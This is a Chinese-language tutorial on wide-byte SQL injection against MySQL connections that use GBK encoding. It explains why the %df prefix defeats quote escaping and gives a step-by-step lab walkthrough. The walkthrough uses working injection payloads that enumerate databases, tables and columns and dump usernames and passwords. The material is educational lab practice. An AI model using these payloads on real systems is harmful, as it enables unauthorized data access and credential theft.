宽字节注入
宽字节注入一般由于配置Mysql连接时使用了GBK编码导致。
set character_set_client=gbk
相关知识补充
- GBK编码:GBK全称《汉字内码扩展规范》。编码则是指以固定的顺序排列字符,并以此做为记录、存贮、传递、交换的统一内部特征。GBK编码即是和汉字字库相关的一种编码标准。GBK是采用单双字节变长编码,英文使用单字节编码,完全兼容ASCII字符编码,中文部分采用双字节编码。
- magic_quotes_gpc:魔术引号。当php开启该项配置时,程序会对HTTP请求时传入的$_GET[]、$_POST[]、$_COOKIE[]中的参数的特殊字符进行转义,如单引号、双引号、反斜杠、NULL等符号前自动填充上\将其视为一个普通字符。
magic_quotes_gpc在php5.4版本时已经取消了,后面的版本若想进行自动转义,应采用addslashes()函数。
- addslashes():该函数使用效果与魔术引号类似,也是将传参中的特殊字符进行转义,以免用户传参不规范导致的程序错误。
漏洞形成原因
由于服务端配置了自动转义特殊字符,因此我们在构造注入语句时会因为’或"被转义,拼接的SQL语句无法闭合,从而导致注入失败。而这时若服务端配置SQL连接时使用的是GBK编码,那么我们可以这样构造注入语句:
1%df' and 1=1 -- qwe
我们在’前增加了%df(这里不一定是%df只要是大于ascii编码128的字符即可)。按照addslashes或者magic_quotes_gpc的特性,会在’前自动填充一个\也就是%5c。而由于数据库配置的是GBK编码,这里的%df%5c两个字节便会被识别为一个汉字(第一个字节需大于ascii编码128),因此’便逃逸出来了。
靶场练习
- 判断注入点
先直接上个and 1=1试试:
vince%df' and 1=1 -- qwe
发现是POST传参,%df不会被当作url编码执行,因此未产生想要的结果。这时可以通过burp来抓包进行修改参数。先随便传入一个正常的参数进行抓包。
右键选择’Send to Repeater’
修改name参数:
vince%df' or 1=1 -- qwe
修改完成后点击<Send>,之后通过’Response-Render’中查看返回页面。
- 猜解字段数
vince%df' or 1=1 order by 1 -- qwe
vince%df' or 1=1 order by 2 -- qwe
vince%df' or 1=1 order by 3 -- qwe
- 判断显错点
vince%df' union select 1,2 -- qwe
- 查询当前数据库名
vince%df' union select database(),2 -- qwe
- 查询表名
vince%df' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() -- qwe
- 查询字段名
vince%df' union select group_concat(distinct column_name),2 from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 3,1) -- qwe ##筛选条件table_name若直接输入字符串,单引号会被转义,因此这里使用子查询代替
- 查询记录内容
vince%df' union select group_concat(username),group_concat(password) from users -- qwe